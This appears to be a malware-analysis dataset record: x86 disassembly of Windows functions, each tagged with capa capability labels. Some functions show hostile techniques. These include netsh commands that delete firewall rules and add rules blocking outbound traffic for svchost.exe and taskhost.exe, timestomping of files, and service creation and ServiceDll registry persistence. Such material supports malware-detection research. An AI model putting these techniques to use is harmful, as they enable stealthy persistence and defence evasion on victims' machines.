joyce8/EMBER2024-capa huggingface dataset:
Function at 0x641130
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [ebp + 0x14]
mov edx, dword [ebp + 0xc]
push edi
mov edi, dword [ebp + 0x18]
imul eax, edi
add eax, edx
cmp edx, eax
mov dword [ebp - 0x14], eax
jae 0x641251
mov eax, dword [ebp + 0x10]
lea eax, [edx + eax*4]
push ebx
push esi
mov dword [ebp + 0x14], eax
mov esi, 0xffc03fc0
mov eax, 0xff00ff
cmp edx, dword [ebp + 0x14]
mov ecx, dword [ebp + 8]
mov dword [ebp - 4], ecx
jae 0x641235
mov ebx, dword [ebp + 0x14]
sub ebx, edx
dec ebx
shr ebx, 3
lea ecx, [edx + 4]
inc ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], ebx
mov edx, dword [ecx + edi]
mov edi, dword [edi + ecx - 4]
mov dword [ebp - 8], edi
shr edi, 2
and edi, esi
mov dword [ebp + 0x10], edx
mov edx, dword [ecx]
mov ecx, dword [ecx - 4]
mov ebx, ecx
shr ebx, 2
and ebx, esi
add ebx, edi
mov edi, dword [ebp + 0x10]
shr edi, 2
and edi, esi
add ebx, edi
mov edi, edx
shr edi, 2
and edi, esi
lea ebx, [ebx + edi - 0x7fff80]
mov edi, dword [ebp - 8]
and edi, eax
mov esi, ecx
and esi, eax
add esi, edi
mov edi, dword [ebp + 0x10]
and edi, eax
add esi, edi
mov edi, edx
and edi, eax
lea esi, [esi + edi + 0x20002]
mov edi, dword [ebp - 8]
shr ecx, 2
shr esi, 2
xor ebx, esi
shr edi, 2
mov esi, 0x3fc03fc0
and ecx, esi
and edi, esi
add ecx, edi
mov edi, dword [ebp + 0x10]
shr edi, 2
and edi, esi
add ecx, edi
mov edi, dword [ebp + 0x18]
shr edx, 2
and edx, esi
lea ecx, [ecx + edx + 0x800080]
and ebx, eax
xor ebx, ecx
mov ecx, dword [ebp - 4]
add dword [ebp - 4], 4
mov dword [ecx], ebx
mov ecx, dword [ebp - 0xc]
add ecx, 8
dec dword [ebp - 0x10]
mov dword [ebp - 0xc], ecx
mov esi, 0xffc03fc0
jne 0x641187
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x1c]
add dword [ebp + 8], ecx
lea ecx, [edi + edi]
add dword [ebp + 0x14], ecx
add edx, ecx
cmp edx, dword [ebp - 0x14]
mov dword [ebp + 0xc], edx
jb 0x641165
pop esi
pop ebx
xor eax, eax
pop edi
leave
ret 0x18

Function at 0x641c99
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push str.SoftwareMicrosoftDirect3D
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x641cf0
push esi
lea eax, [ebp + 0x14]
push eax
push dword [ebp + 0x10]
lea eax, [ebp + 0x10]
push eax
push 0
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
jne 0x641cf0
mov eax, dword [ebp + 0x10]
cmp eax, dword [ebp + 8]
jne 0x641cf0
xor eax, eax
inc eax
jmp 0x641cf2
xor eax, eax
leave
ret 0x10
Function at 0x641d1b
Capabilities:
Get system information on windows
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push edi
lea eax, [ebp - 4]
push eax
push str.SoftwareMicrosoftDirect3D
push reloc.WS2_32.dll_bind
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
xor edi, edi
test eax, eax
jne 0x641d89
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push edi
push 0x7a823c
push dword [ebp - 4]
mov dword [ebp - 8], 4
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x641d80
cmp dword [ebp - 0xc], 4
jne 0x641d80
cmp dword [ebp - 0x10], edi
je 0x641d80
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov dword [0x7d00e8], edi
xor eax, eax
jmp 0x641dc8
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [0x7d00e8], edi
jge 0x641dc3
lea eax, [ebp - 0x34]
push eax
mov dword [0x7d00e8], edi
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
cmp word [ebp - 0x34], di
jne 0x641dc3
cmp word [ebp - 0x14], 5
jb 0x641dc3
call fcn.00641cf6
test eax, eax
je 0x641dc3
emms
mov dword [0x7d00e8], 1
mov eax, dword [0x7d00e8]
pop edi
leave
ret

Function at 0x664043
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x66407b
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.006620d0
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.006620a8
jmp 0x664087
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x665731
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x665773
call fcn.0066b1f2
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x665773
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x66576a
xor eax, eax
jmp 0x66577b
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00665781
pop edi
pop esi
pop ebx
ret 4

Function at 0x66b722
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x66b750
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x66b76e
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0066b688
jmp 0x66b76e
mov eax, dword [esi + 0x14]
test eax, eax
je 0x66b76e
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0066b688
test edi, edi
mov eax, edi
jne 0x66b758
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x402548
Capabilities:
Create process on windows

Disassembly:
push ebp
lea ebp, [esp - 0x88]
sub esp, 0x108
mov eax, dword [0x435080]
xor eax, ebp
mov dword [ebp + 0x84], eax
push ebx
push esi
push edi
push 0x104
xor ebx, ebx
lea eax, [ebp - 0x80]
push ebx
push eax
call fcn.004077d0
add esp, 0xc
lea ecx, [ebp - 0x80]
push str.advfirewall_firewall_delete_rule_name_TASKHOST.EXE_BLOCK_
call fcn.004021de
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea eax, [ebp - 0x80]
push ebx
push ebx
push eax
mov edi, str.netsh.exe
push edi
push ebx
push ebx
call esi
push str.advfirewall_firewall_delete_rule_name_SVCHOST.EXE_BLOCK_
lea ecx, [ebp - 0x80]
call fcn.004021de
push ebx
push ebx
lea eax, [ebp - 0x80]
push eax
push edi
push ebx
push ebx
call esi
push str.advfirewall_firewall_add_rule_name_TASKHOST.EXE_BLOCK__dirout_actionblock_program_C:Windows_taskhost.exe__enableyes
lea ecx, [ebp - 0x80]
call fcn.004021de
push ebx
push ebx
lea eax, [ebp - 0x80]
push eax
push edi
push ebx
push ebx
call esi
push str.advfirewall_firewall_add_rule_name_SVCHOST.EXE_BLOCK__dirout_actionblock_program_C:Windows_svchost.exe__enableyes
lea ecx, [ebp - 0x80]
call fcn.004021de
push ebx
push ebx
lea eax, [ebp - 0x80]
push eax
push edi
push ebx
push ebx
call esi
mov ecx, dword [ebp + 0x84]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00405d30
add ebp, 0x88
leave
ret
Function at 0x402d16
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [0x435080]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0
push 0x2000000
push 3
push 0
push 3
push 0xc0000000
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x402d4f
xor eax, eax
jmp 0x402e43
lea eax, [ebp - 0x1c]
push eax
lea edx, [ebp - 0x2c]
lea ecx, [ebp - 0x34]
call fcn.00402c74
pop ecx
test eax, eax
jne 0x402dd8
mov eax, 0x7d9
mov word [ebp - 0x14], ax
call fcn.0040e9b4
cdq
push 0xa
pop edi
idiv edi
xor eax, eax
mov word [ebp - 0x12], dx
mov word [ebp - 0x10], ax
call fcn.0040e9b4
cdq
idiv edi
mov word [ebp - 0xe], dx
call fcn.0040e9b4
cdq
idiv edi
mov word [ebp - 0xc], dx
call fcn.0040e9b4
cdq
idiv edi
mov word [ebp - 0xa], dx
call fcn.0040e9b4
cdq
idiv edi
xor eax, eax
mov word [ebp - 6], ax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x14]
mov word [ebp - 8], dx
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea eax, [ebp - 0x24]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
lea eax, [ebp - 0x24]
push eax
push 0
jmp 0x402e30
lea eax, [ebp - 0x1c]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToLocalFileTime]
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
call fcn.0040e9b4
push 0xa
cdq
pop edi
idiv edi
add word [ebp - 0xa], dx
call fcn.0040e9b4
cdq
idiv edi
lea eax, [ebp - 0x1c]
add word [ebp - 8], dx
push eax
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea eax, [ebp - 0x1c]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_LocalFileTimeToFileTime]
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0x34]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.00405d30
leave
ret
Function at 0x402e51
Capabilities:
Copy file
Delete file
Move file

Disassembly:
sub esp, 0x324
mov eax, dword [0x435080]
xor eax, esp
mov dword [esp + 0x320], eax
push ebx
push ebp
push esi
push edi
mov ebp, 0x104
lea eax, [esp + 0x224]
push ebp
push 0
push eax
mov esi, edx
mov edi, ecx
call fcn.004077d0
add esp, 0xc
lea eax, [esp + 0x224]
mov ebx, 0x431b24
push esi
push 0x436fa8
push ebx
push ebp
push eax
call fcn.00402221
add esp, 0x14
lea eax, [esp + 0x14]
push ebp
push 0
push eax
call fcn.004077d0
add esp, 0xc
lea eax, [esp + 0x14]
push esi
push edi
push ebx
push ebp
push eax
call fcn.00402221
add esp, 0x14
lea eax, [esp + 0x11c]
push ebp
push 0
push eax
call fcn.004077d0
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push edi
push str._s_d.tmp
lea eax, [esp + 0x128]
push ebp
push eax
call fcn.00402221
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x130]
add esp, 0x14
push eax
call esi
lea eax, [esp + 0x11c]
push eax
lea eax, [esp + 0x18]
push eax
call fcn.0040f434
pop ecx
pop ecx
lea eax, [esp + 0x11c]
push eax
call esi
push 0
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
cmp eax, 1
je 0x402f57
push 3
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x22c]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x402f61
jmp 0x402f6d
lea eax, [esp + 0x224]
push eax
call esi
lea ecx, [esp + 0x14]
call fcn.00402d16
xor eax, eax
inc eax
mov ecx, dword [esp + 0x330]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405d30
add esp, 0x324
ret
Function at 0x402f87
Capabilities:
Delete file
Extract resource via kernel32 functions
Move file

Disassembly:
sub esp, 0x210
mov eax, dword [0x435080]
xor eax, esp
mov dword [esp + 0x20c], eax
push ebx
push ebp
push esi
push edi
push 0xa
push edx
xor edi, edi
mov ebp, ecx
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
test esi, esi
je 0x4030da
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x4030da
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
test ebx, ebx
je 0x4030da
push esi
push edi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov edi, eax
test edi, edi
je 0x4030da
push 0x104
lea eax, [esp + 0x11c]
push 0
push eax
call fcn.004077d0
push ebp
mov esi, 0x436fa8
lea eax, [esp + 0x128]
push esi
push 0x431b24
mov ebp, 0x104
push ebp
push eax
call fcn.00402221
push ebp
lea eax, [esp + 0x38]
push 0
push eax
call fcn.004077d0
add esp, 0x2c
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push esi
push str._s_u
lea eax, [esp + 0x20]
push ebp
push eax
call fcn.00402221
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x28]
add esp, 0x14
push eax
call esi
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x11c]
push eax
call fcn.0040f434
pop ecx
pop ecx
lea eax, [esp + 0x14]
push eax
call esi
xor esi, esi
lea eax, [esp + 0x118]
push esi
push 0x80
push 2
push esi
push esi
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
push edi
push esi
push 4
push esi
push eax
mov dword [esp + 0x28], eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ebp, eax
test ebp, ebp
je 0x4030da
push esi
push esi
push esi
push 2
push ebp
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
push edi
mov esi, eax
push ebx
push esi
call fcn.00407240
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push dword [esp + 0x10]
call esi
xor eax, eax
inc eax
jmp 0x4030dc
xor eax, eax
mov ecx, dword [esp + 0x21c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405d30
add esp, 0x210
ret
Function at 0x4033ed
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
push ebx
mov ebx, dword [ebp + 0xc]
push esi
mov esi, dword [ebp + 0x10]
mov dword [esp + 0x10], ecx
push edi
test esi, esi
jg 0x403416
jl 0x40340d
test ebx, ebx
jne 0x403416
xor eax, eax
xor edx, edx
jmp 0x4034e0
cmp dword [ecx + 0x38], 0
je 0x40342b
push esi
push ebx
push dword [ebp + 8]
call fcn.00403a07
jmp 0x4034e0
mov eax, dword [ecx + 0x1c]
mov edi, ebx
mov edx, dword [eax]
test edx, edx
je 0x403470
mov eax, dword [ecx + 0x2c]
cmp dword [eax], 0
jbe 0x403470
cmp dword [eax], ebx
mov esi, ebx
mov edi, dword [ebp + 8]
cmovb esi, dword [eax]
push esi
push edx
push edi
call fcn.00407240
mov ecx, dword [esp + 0x20]
add edi, esi
mov dword [esp + 0x1c], edi
add esp, 0xc
mov edi, ebx
sub edi, esi
mov eax, dword [ecx + 0x2c]
sub dword [eax], esi
mov eax, dword [ecx + 0x1c]
add dword [eax], esi
mov esi, dword [ebp + 0x10]
jmp 0x403477
mov eax, dword [ebp + 8]
mov dword [esp + 0x10], eax
cmp dword [ecx + 0x4c], 0
je 0x4034d7
call fcn.00403f52
mov edx, dword [esp + 0x10]
mov eax, edi
cmp edi, 0xfff
jbe 0x4034c2
push dword [ecx + 0x4c]
push 0xfff
push 1
push edx
call fcn.0041004e
mov edx, dword [esp + 0x20]
mov ecx, 0xfff
add edx, eax
add esp, 0x10
sub edi, eax
mov dword [esp + 0x10], edx
cmp eax, ecx
jne 0x4034d7
cmp edi, ecx
mov ecx, dword [esp + 0x14]
ja 0x403490
mov eax, edi
test eax, eax
je 0x4034d7
push dword [ecx + 0x4c]
push edi
push 1
push edx
call fcn.0041004e
add esp, 0x10
sub edi, eax
sub ebx, edi
mov eax, ebx
sbb esi, 0
mov edx, esi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x404cf3
Capabilities:
Check for time delay via gettickcount
Delete service
Query service status
Stop service

Disassembly:
sub esp, 0x38
mov eax, dword [0x435080]
xor eax, esp
mov dword [esp + 0x34], eax
push ebx
push esi
push edi
mov dword [esp + 0xc], edx
mov esi, ecx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push 0xf003f
xor edi, edi
mov dword [esp + 0x14], eax
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
mov dword [esp + 0x18], ebx
test ebx, ebx
je 0x404df1
push ebp
push 0xf01ff
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebp, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov esi, eax
test esi, esi
je 0x404deb
lea eax, [esp + 0x18]
push eax
push 0x24
lea eax, [esp + 0x28]
push eax
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x404dde
cmp dword [esp + 0x24], 1
je 0x404dde
lea eax, [esp + 0x20]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x404dde
cmp dword [esp + 0x24], 1
je 0x404dde
mov ebp, dword [esp + 0x10]
mov ebx, dword [esp + 0x14]
push dword [esp + 0x38]
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x18]
push eax
push 0x24
lea eax, [esp + 0x28]
push eax
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x404dd4
mov eax, dword [esp + 0x24]
cmp eax, 1
je 0x404dd4
cmp ebp, 0xffffffff
je 0x404dcf
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, ebp
ja 0x404dd4
mov eax, dword [esp + 0x24]
cmp eax, 1
jne 0x404d8f
mov ebx, dword [esp + 0x1c]
mov ebp, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push esi
call dword [sym.imp.ADVAPI32.dll_DeleteService]
push esi
call ebp
xor edi, edi
inc edi
push ebx
call ebp
mov eax, edi
pop ebp
mov ecx, dword [esp + 0x40]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.00405d30
add esp, 0x38
ret
Function at 0x404e03
Capabilities:
Create service
Modify service
Persist via windows service

Disassembly:
sub esp, 0x44
mov eax, dword [0x435080]
xor eax, esp
mov dword [esp + 0x3c], eax
mov eax, dword [esp + 0x48]
push ebx
push ebp
push esi
push edi
push 2
xor edi, edi
mov dword [esp + 0x18], eax
mov eax, dword [esp + 0x60]
mov ebp, edx
push edi
push edi
mov esi, ecx
mov dword [esp + 0x24], eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
test ebx, ebx
je 0x404ed7
push edi
push edi
push edi
push edi
push edi
push dword [esp + 0x28]
push edi
push 2
push pe_nt_image_headers32
push 0x42
push ebp
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov ebp, eax
test ebp, ebp
je 0x404ece
mov eax, dword [esp + 0x18]
xor edi, edi
mov esi, dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
inc edi
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x1c]
push eax
push edi
push ebp
call esi
mov eax, 0xea60
mov dword [esp + 0x34], edi
mov dword [esp + 0x38], eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x48], eax
mov eax, 0x431555
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
lea eax, [esp + 0x34]
mov dword [esp + 0x30], eax
lea eax, [esp + 0x20]
push eax
push 2
push ebp
mov dword [esp + 0x48], edi
mov dword [esp + 0x50], edi
mov dword [esp + 0x2c], 0x258
mov dword [esp + 0x38], 3
call esi
push ebp
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov eax, edi
mov ecx, dword [esp + 0x4c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405d30
add esp, 0x44
ret

Function at 0x404eea
Capabilities:
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x110
mov eax, dword [0x435080]
xor eax, esp
mov dword [esp + 0x10c], eax
push ebx
push ebp
push esi
push edi
mov esi, edx
mov ebx, ecx
call fcn.0040507f
mov ebp, 0x104
mov edi, eax
push ebp
lea eax, [esp + 0x1c]
push 0
push eax
call fcn.004077d0
push esi
push str.SYSTEMControlSet001Services_sParameters
lea eax, [esp + 0x2c]
push ebp
push eax
call fcn.00402221
add esp, 0x1c
lea eax, [esp + 0x14]
xor ebp, ebp
mov ecx, 0xf023f
cmp edi, 1
push eax
lea eax, [esp + 0x14]
push eax
push ebp
mov eax, 0xf013f
cmovne eax, ecx
push eax
push ebp
push ebp
push ebp
lea eax, [esp + 0x34]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x404f83
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push ebx
push 2
push ebp
push str.ServiceDll
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x11c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405d30
add esp, 0x110
ret
Function at 0x404f9c
Capabilities:
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x110
mov eax, dword [0x435080]
xor eax, esp
mov dword [esp + 0x10c], eax
push ebx
push ebp
push esi
push edi
mov esi, edx
mov ebx, ecx
call fcn.0040507f
mov ebp, 0x104
mov edi, eax
push ebp
lea eax, [esp + 0x1c]
push 0
push eax
call fcn.004077d0
push esi
push str.SYSTEMCurrentControlSetServices_sParameters
lea eax, [esp + 0x2c]
push ebp
push eax
call fcn.00402221
add esp, 0x1c
lea eax, [esp + 0x14]
xor ebp, ebp
mov ecx, 0xf023f
cmp edi, 1
push eax
lea eax, [esp + 0x14]
push eax
push ebp
mov eax, 0xf013f
cmovne eax, ecx
push eax
push ebp
push ebp
push ebp
lea eax, [esp + 0x34]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x405035
push ebx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push ebx
push 2
push ebp
push str.ServiceDll
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x11c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00405d30
add esp, 0x110
ret

Function at 0x4050c1
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, edx
call fcn.0040507f
lea esi, [eax - 1]
neg esi
lea eax, [ebp - 4]
push eax
sbb esi, esi
xor ebx, ebx
and esi, 0x100
add esi, 0xf013f
push esi
push ebx
push edi
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40511e
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push esi
push ebx
push 0x431fb0
push ebx
push edi
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov esi, eax
test esi, esi
jne 0x405140
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push 1
push ebx
push str.Security
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret

Function at 0x40692e
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40696d
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40696d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40696d
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40696d
cmp dword [ecx + 0x74], 0xe
jbe 0x40696d
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x416c3a
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42cf38
push 0x42cf30
push 0x42abf8
push 0x1f
call fcn.00416aa5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x416c6e
push dword [ebp + 8]
mov ecx, esi
call dword [0x429214]
call esi
jmp 0x416c74
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x416cb8
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42cf48
push 0x42cf40
push 0x42ac1c
push 0x21
call fcn.00416aa5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x416cef
push dword [ebp + 8]
mov ecx, esi
call dword [0x429214]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x416cf7
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x42cf50
push 0x42cf48
push 0x42ac30
push 0x22
call fcn.00416aa5
mov esi, eax
add esp, 0x10
test esi, esi
je 0x416d31
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x429214]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]